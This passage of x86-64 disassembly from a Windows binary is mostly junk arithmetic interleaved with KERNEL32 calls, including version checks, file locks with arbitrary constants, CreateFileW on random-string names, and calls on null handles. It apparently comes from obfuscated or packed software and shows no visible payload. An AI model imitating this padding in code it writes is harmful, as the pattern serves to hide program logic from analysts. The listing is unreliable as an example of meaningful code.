sub eax, ecx
mov word [rsp + 0x1ed0], ax
lea rax, [rsp + 0x9a80]
mov qword [0x140369c40], rax
mov rax, qword [rsp + 0x13040]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x12eb8]
mov qword [rsp + 0x13250], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13250]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x7804], eax
lea rdx, [rsp + 0x42990]
mov rcx, qword [rsp + 0x12c88]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9940], eax
mov rax, qword [rsp + 0x12dd8]
movzx eax, byte [rax]
cdq
mov ecx, 0x8c
idiv ecx
mov byte [rsp + 0x739], al
movzx eax, word [rsp + 0x1588]
mov word [rsp + 0x2ba4], ax
mov rax, qword [rsp + 0x12f78]
mov rcx, qword [rsp + 0x12fd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x9a24], eax
mov eax, dword [0x140369bc4]
mov rcx, qword [rsp + 0x12f08]
mov qword [rsp + 0x13258], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13258]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x130b0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x8f14]
mov dword [rsp + 0x9ac8], eax
mov eax, dword [rsp + 0x9a24]
mov ecx, dword [rsp + 0x9a48]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a40], eax
movzx eax, word [rsp + 0x2b84]
movzx ecx, word [rsp + 0x2a94]
sub eax, ecx
mov word [rsp + 0x25a0], ax
lea rax, [rsp + 0x72f]
mov qword [0x140369c48], rax
mov eax, dword [rsp + 0x9a94]
mov ecx, dword [rsp + 0x9a84]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ed8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6a84]
mov dword [rsp + 0x9acc], eax
mov rax, qword [rsp + 0x13198]
mov eax, dword [rax]
mov ecx, dword [0x140369c08]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9aa4], eax
mov rax, qword [rsp + 0x13088]
mov rcx, qword [rsp + 0x12ef0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x131b8]
mov dword [rcx], eax
lea rax, [rsp + 0x9a78]
mov qword [rsp + 0x13260], rax
movsx eax, byte [rsp + 0x6f8]
movsx ecx, byte [rsp + 0x730]
add eax, ecx
mov byte [rsp + 0x518], al
lea rax, [rsp + 0x2ba0]
mov qword [rsp + 0x13268], rax
xor r8d, r8d
mov edx, 0x80
lea rcx, [rsp + 0x4aa70]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9ad0], eax
movzx eax, word [rsp + 0x2ba4]
mov rcx, qword [rsp + 0x130a0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13110]
mov word [rcx], ax
mov rax, qword [rsp + 0x13120]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x72f]
sub eax, ecx
mov rcx, qword [0x140369be0]
mov byte [rcx], al
mov eax, dword [rsp + 0x9808]
mov ecx, dword [rsp + 0x69c8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a18], eax
lea rax, [0x140369bc4]
mov qword [rsp + 0x13270], rax
mov rax, qword [rsp + 0x12ff8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b94]
add eax, ecx
mov rcx, qword [rsp + 0x12d80]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9ab8], eax
lea rax, [rsp + 0x732]
mov qword [rsp + 0x13278], rax
mov eax, dword [0x140369c08]
mov ecx, dword [rsp + 0x9a70]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x130d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f68]
mov rcx, qword [rsp + 0x12f08]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x12ed8]
mov dword [rcx], eax
mov rax, qword [0x140369b90]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x99b4]
shl eax, cl
mov dword [rsp + 0x62f0], eax
mov rax, qword [rsp + 0x13018]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x12dd0]
mov qword [rsp + 0x13280], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13280]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x12ef0]
mov dword [rcx], eax
lea rax, [rsp + 0x25a0]
mov qword [0x140369c50], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2fc5
mov r9d, 0x25d9
mov r8d, 0x2a0ff938
mov edx, 2
mov rcx, qword [rsp + 0x131c8]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x9a1c], eax
lea rax, [rsp + 0x72f]
mov qword [rsp + 0x13288], rax
mov rax, qword [rsp + 0x131a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9ac0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x645c], eax
mov eax, dword [rsp + 0x9950]
mov ecx, dword [rsp + 0x59fc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ec0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x731]
mov byte [rsp + 0x73b], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x13290], rax
movsx eax, word [rsp + 0x2b74]
mov rcx, qword [rsp + 0x13268]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1ed0], ax
mov rax, qword [rsp + 0x131e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12f18]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1bd4], ax
lea rcx, [rsp + 0x4add0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x9938], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9a98], eax
mov rax, qword [rsp + 0x13170]
movzx eax, byte [rax]
imul eax, eax, 0x3f
mov byte [rsp + 0x73a], al
lea rax, [rsp + 0x9a34]
mov qword [rsp + 0x13298], rax
mov rax, qword [rsp + 0x13118]
mov ecx, dword [rsp + 0x9a14]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140369be8], eax
mov eax, dword [rsp + 0x9a6c]
mov ecx, dword [rsp + 0x997c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9aac], eax
mov rax, qword [rsp + 0x12f68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a28]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ed8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9a70]
mov dword [rsp + 0x9ad4], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2748
mov r9d, 0x3ea1
mov r8d, 0xd70feb0a
mov edx, 2
mov rcx, qword [rsp + 0x13140]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x9ad8], eax
mov rax, qword [0x140369b80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13158]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b98], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
lea rax, [rsp + 0x72b]
mov qword [rsp + 0x132a0], rax
mov rax, qword [rsp + 0x131c0]
mov ecx, dword [rsp + 0x9a78]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9ac8], eax
mov qword [rsp + 0x20], 0
mov r9d, 0x175e
mov r8d, 0x2f44
mov edx, 0x6f
mov rcx, qword [rsp + 0x12de8]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x9980], eax
mov rax, qword [rsp + 0x131d0]
mov eax, dword [rax]
mov ecx, dword [0x140362460]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9ab0], eax
lea rax, [rsp + 0x81e0]
mov qword [rsp + 0x132a8], rax
mov rax, qword [rsp + 0x130e8]
mov ecx, dword [rsp + 0x9a24]
mov eax, dword [rax]
add eax, ecx
mov dword [0x140362464], eax
movzx eax, byte [rsp + 0x585]
mov rcx, qword [rsp + 0x12d08]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x735], al
lea rax, [rsp + 0x2b80]
mov qword [rsp + 0x132b0], rax
movsx eax, word [rsp + 0x2008]
cdq
mov ecx, 0x599
idiv ecx
mov rcx, qword [rsp + 0x130f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x12f60]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x518]
xor eax, ecx
mov byte [rsp + 0x736], al
mov rax, qword [rsp + 0x13080]
mov eax, dword [rax]
mov dword [rsp + 0x9adc], eax
mov rax, qword [rsp + 0x131b8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9a10]
shl eax, cl
mov rcx, qword [rsp + 0x13048]
mov dword [rcx], eax
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0x4add0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9ae0], eax
mov rax, qword [rsp + 0x130a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x13d8]
sar eax, cl
mov word [rsp + 0x2234], ax
mov rax, qword [rsp + 0x13288]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12dd8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x630], al
mov eax, dword [rsp + 0x5330]
mov ecx, dword [rsp + 0x9a94]
and ecx, eax
mov eax, ecx
mov dword [0x140369bc4], eax
lea rax, [rsp + 0x9a14]
mov qword [rsp + 0x132b8], rax
mov rax, qword [rsp + 0x12ef0]
mov rcx, qword [rsp + 0x12fa0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13088]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f08]
mov rcx, qword [rsp + 0x13298]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13028]
mov dword [rcx], eax
lea rax, [rsp + 0x734]
mov qword [rsp + 0x132c0], rax
movzx eax, word [rsp + 0x2a94]
mov rcx, qword [rsp + 0x13100]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x29ac], ax
lea rax, [0x140362464]
mov qword [rsp + 0x132c8], rax
mov rax, qword [rsp + 0x132a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9aa0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x131b8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9a94]
mov ecx, dword [rsp + 0x9a18]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a34], eax
lea rdx, [rsp + 0x429c8]
mov rcx, qword [rsp + 0x12fb8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9a20], eax
lea rax, [rsp + 0x9a88]
mov qword [0x140369c58], rax
lea rax, [rsp + 0x9ac8]
mov qword [rsp + 0x132d0], rax
movsx eax, word [rsp + 0x1ed0]
movsx ecx, word [rsp + 0x2b74]
add eax, ecx
mov rcx, qword [rsp + 0x13008]
mov word [rcx], ax
mov rax, qword [0x140369bf0]
movzx eax, byte [rax]
mov byte [rsp + 0x73c], al
mov rax, qword [rsp + 0x132c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1c8]
sub eax, ecx
mov rcx, qword [rsp + 0x13218]
mov byte [rcx], al
mov rax, qword [rsp + 0x13110]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12ff8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b7c], ax
lea rax, [0x140369b78]
mov qword [rsp + 0x132d8], rax
mov rax, qword [rsp + 0x13040]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x81e0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a2c], eax
movzx eax, word [rsp + 0x2b84]
mov rcx, qword [rsp + 0x12d80]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1ab8], ax
movzx eax, byte [0x140363ede]
mov rcx, qword [rsp + 0x130b8]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [0x140369c38]
mov byte [rcx], al
mov rax, qword [rsp + 0x12f58]
mov ecx, dword [rsp + 0x99b8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5330], eax
mov rax, qword [0x140369b90]
mov ecx, dword [rsp + 0x9a40]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13118]
mov dword [rcx], eax
mov rax, qword [rsp + 0x131a8]
mov eax, dword [rax]
mov dword [rsp + 0x9ae4], eax
mov rax, qword [rsp + 0x131f8]
mov rcx, qword [rsp + 0x131d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x72a]
mov byte [rsp + 0x73d], al
mov rax, qword [rsp + 0x12e10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13110]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1878], ax
lea rax, [rsp + 0x99e8]
mov qword [rsp + 0x132e0], rax
mov rax, qword [rsp + 0x132b8]
mov rcx, qword [0x140369b90]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x132c8]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x12fd0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x12f30]
movzx eax, word [rax]
mov word [0x140369c60], ax
movsx eax, byte [rsp + 0x73b]
mov rcx, qword [rsp + 0x12f60]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x730], al
lea rax, [rsp + 0x73d]
mov qword [rsp + 0x132e8], rax
movzx eax, word [rsp + 0x2a94]
imul eax, eax, 0xa3f
mov rcx, qword [rsp + 0x13058]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9a08], eax
mov rax, qword [rsp + 0x12f08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x99e4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x940c], eax
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x4aa70]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9a7c], eax
mov eax, dword [rsp + 0x99b8]
mov ecx, dword [0x140362460]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12de0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12eb8]
mov ecx, dword [rsp + 0x9730]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x59fc], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.rEsOMCMQBWXxNG
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x132f0], rax
mov rax, qword [rsp + 0x13160]
mov eax, dword [rax]
mov dword [rsp + 0x9ae8], eax
mov eax, dword [rsp + 0x9a90]
mov ecx, dword [rsp + 0x81e0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x131b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x72f]
add eax, ecx
mov byte [rsp + 0x70d], al
mov rax, qword [rsp + 0x12d80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b8c]
shl eax, cl
mov word [0x140362468], ax
mov rax, qword [rsp + 0x12d68]
mov ecx, dword [rsp + 0x9a74]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x99e4], eax
mov rax, qword [rsp + 0x130e8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13260]
mov qword [rsp + 0x132f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x132f8]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x12ea8]
mov dword [rcx], eax
lea rax, [0x14036244c]
mov qword [rsp + 0x13300], rax
mov eax, dword [rsp + 0x9a9c]
mov ecx, dword [rsp + 0x9a50]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9aa8], eax
lea rax, [rsp + 0x178c]
mov qword [rsp + 0x13308], rax
movzx eax, byte [rsp + 0x729]
movzx ecx, byte [rsp + 0x585]
and eax, ecx
mov rcx, qword [rsp + 0x13218]
mov byte [rcx], al
lea rax, [rsp + 0x1ed0]
mov qword [rsp + 0x13310], rax
mov rcx, qword [rsp + 0x12ee0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9a44], eax
lea rdx, [rsp + 0x42a70]
mov rcx, qword [rsp + 0x132f0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9a3c], eax
mov rax, qword [rsp + 0x131b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x736]
add eax, ecx
mov byte [rsp + 0x6fc], al
mov eax, dword [0x140369b78]
mov dword [0x140369c64], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x3bb6
mov r9d, 0x2cc7
mov r8d, 0xe53ff2ef
mov edx, 2
mov rcx, qword [rsp + 0x12bf0]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x9a0c], eax
mov eax, dword [rsp + 0x9a5c]
mov ecx, dword [rsp + 0x9ae4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x132b0]
movzx eax, word [rax]
mov word [rsp + 0x2ba8], ax
movzx eax, byte [rsp + 0x49c]
mov rcx, qword [0x140369c48]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13278]
mov byte [rcx], al
lea rax, [rsp + 0x9a2c]
mov qword [rsp + 0x13318], rax
mov rax, qword [rsp + 0x12f58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a74]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x99b8], eax
mov eax, dword [0x140369c08]
mov ecx, dword [rsp + 0x9a2c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12df0]
mov dword [rcx], eax
lea rax, [rsp + 0x9acc]
mov qword [rsp + 0x13320], rax
movzx eax, word [rsp + 0x2324]
mov rcx, qword [rsp + 0x13308]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x130a0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x72d]
movzx ecx, byte [0x140363edf]
add eax, ecx
mov rcx, qword [0x140369c48]
mov byte [rcx], al
lea rdx, [rsp + 0x42aa8]
mov rcx, qword [rsp + 0x132f0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9ae0], eax
mov edx, 0x277
mov rcx, qword [rsp + 0x13290]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9a98], eax
mov rax, qword [rsp + 0x12f08]
mov eax, dword [rax]
mov dword [rsp + 0x9aec], eax
mov eax, dword [rsp + 0x9950]
mov ecx, dword [rsp + 0x9a88]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12e88]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x12be8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0x9a70]
mov ecx, dword [rsp + 0x9a14]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ff0]
mov dword [rcx], eax
lea rax, [rsp + 0x9ae4]
mov qword [rsp + 0x13328], rax
lea rdx, [rsp + 0x42a70]
mov rcx, qword [rsp + 0x12c88]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9af0], eax
mov rax, qword [rsp + 0x12f78]
mov ecx, dword [rsp + 0x99e8]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
lea rax, [rsp + 0x1ed0]
mov qword [rsp + 0x13330], rax
movsx eax, byte [rsp + 0x731]
movsx ecx, byte [rsp + 0x73b]
shl eax, cl
mov rcx, qword [rsp + 0x13188]
mov byte [rcx], al
mov rax, qword [rsp + 0x12f90]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x132a0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x630], al
mov rax, qword [rsp + 0x13308]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b7c]
or eax, ecx
mov word [0x140362468], ax
lea rax, [rsp + 0x9ab0]
mov qword [rsp + 0x13338], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rax, qword [rsp + 0x13210]
mov ecx, dword [rsp + 0x5330]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12f68]
mov dword [rcx], eax
lea rax, [rsp + 0x732]
mov qword [rsp + 0x13340], rax
lea rdx, [rsp + 0x42920]
mov rcx, qword [rsp + 0x13140]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9af4], eax
movzx eax, word [rsp + 0x29ac]
mov rcx, qword [rsp + 0x13248]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x12ff8]
mov word [rcx], ax
mov rcx, qword [rsp + 0x12be0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, qword [rsp + 0x12ee0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x130c8]
mov rcx, qword [0x140369c58]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x601c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9a98], eax
mov eax, dword [rsp + 0x9808]
mov ecx, dword [rsp + 0x8e20]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a74], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.6gwuJXcwwskWAGVLVHq1ep0om7
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x13348], rax
mov rax, qword [rsp + 0x13030]
mov ecx, dword [rsp + 0x9aa4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x82a8], eax
lea rax, [0x140369bec]
mov qword [rsp + 0x13350], rax
movzx eax, byte [rsp + 0x728]
mov byte [0x140363efd], al
movzx eax, word [rsp + 0x2324]
movzx ecx, word [rsp + 0x2b80]
sub eax, ecx
mov word [rsp + 0x2234], ax
lea rax, [rsp + 0x9aa8]
mov qword [rsp + 0x13358], rax
mov rax, qword [rsp + 0x132b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x997c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13350]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13330]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2ba0]
or eax, ecx
mov rcx, qword [rsp + 0x13098]
mov word [rcx], ax
mov rax, qword [rsp + 0x12ea0]
movzx eax, byte [rax]
mov byte [rsp + 0x73e], al
mov rax, qword [0x140369be0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13128]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x131d8]
mov byte [rcx], al
lea rax, [rsp + 0x2b9c]
mov qword [rsp + 0x13360], rax
mov rax, qword [0x140369c00]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x99e4]
shl eax, cl
mov dword [rsp + 0x940c], eax
mov rax, qword [rsp + 0x13318]
mov rcx, qword [rsp + 0x130c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x14036246c], eax
mov rax, qword [rsp + 0x130d0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x8924]
sar eax, cl
mov rcx, qword [rsp + 0x130c8]
mov dword [rcx], eax
lea rax, [rsp + 0x99e4]
mov qword [rsp + 0x13368], rax
lea rdx, [rsp + 0x42a70]
mov rcx, qword [rsp + 0x12fb8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9a68], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0xef
mov r9d, 0x3b4a
mov r8d, 0x1074beea
mov edx, 1
mov rcx, qword [rsp + 0x12fb8]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x9af8], eax
mov rax, qword [rsp + 0x12df0]
mov rcx, qword [rsp + 0x132e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13048]
mov dword [rcx], eax
lea rax, [rsp + 0x280c]
mov qword [rsp + 0x13370], rax
mov rax, qword [rsp + 0x12dd8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13170]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x739], al
mov rax, qword [rsp + 0x12eb8]
mov ecx, dword [rsp + 0x92e8]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12ee8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9a28]
mov ecx, dword [rsp + 0x9ac0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5284], eax
mov edx, 0x229d
mov rcx, qword [rsp + 0x12be0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9934], eax
mov rax, qword [rsp + 0x13068]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a90]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a30], eax
xor r8d, r8d
mov edx, 0x10
lea rcx, [rsp + 0x4aa70]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x993c], eax
mov rax, qword [rsp + 0x12f78]
mov rcx, qword [rsp + 0x13328]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140369c28], eax
movzx eax, word [0x140362458]
mov word [rsp + 0x2bac], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9afc], eax
mov rcx, qword [rsp + 0x12cf0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x132c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x734]
sub eax, ecx
mov byte [rsp + 0x735], al
lea rax, [rsp + 0x2b74]
mov qword [rsp + 0x13378], rax
mov rax, qword [rsp + 0x12ef8]
movsx eax, byte [rax]
mov rcx, qword [0x140369bf0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x491], al
mov rax, qword [rsp + 0x13070]
mov ecx, dword [rsp + 0x99b8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9a64], eax
mov eax, dword [rsp + 0x6a84]
mov dword [rsp + 0x9b00], eax
movzx eax, byte [rsp + 0x72b]
movzx ecx, byte [0x14035259f]
sub eax, ecx
mov byte [rsp + 0x585], al
lea rax, [rsp + 0x2b78]
mov qword [rsp + 0x13380], rax
mov dword [rsp + 0x20], 0x1c78
mov r9d, 0xd9a
mov r8d, 0x332
mov edx, 0x2d4
mov rcx, qword [rsp + 0x12c88]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x9a58], eax
mov eax, dword [rsp + 0x5330]
mov ecx, dword [rsp + 0x99b8]
or ecx, eax
mov eax, ecx
mov rcx, qword [0x140369bd0]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.5Mm5ca1QNll0CB
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x13388], rax
mov eax, dword [rsp + 0x9a70]
movzx ecx, al
mov eax, dword [rsp + 0x9aa0]
sar eax, cl
mov dword [rsp + 0x7804], eax
mov rax, qword [rsp + 0x132c8]
mov ecx, dword [rsp + 0x9a24]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x12dd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x130f8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x99b8]
shl eax, cl
mov dword [rsp + 0x75c4], eax
mov rax, qword [rsp + 0x12e08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2b0]
and eax, ecx
mov byte [rsp + 0x3d2], al
mov rax, qword [rsp + 0x131e8]
movzx eax, word [rax]
mov word [rsp + 0x2bb0], ax
mov rax, qword [rsp + 0x13190]
mov ecx, dword [rsp + 0x84ac]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8880], eax
mov eax, dword [rsp + 0x9a6c]
mov ecx, dword [rsp + 0x9ae8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x64b0], eax
mov rax, qword [rsp + 0x12f08]
mov ecx, dword [rsp + 0x9a84]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x8ee8], eax
mov eax, dword [0x14036244c]
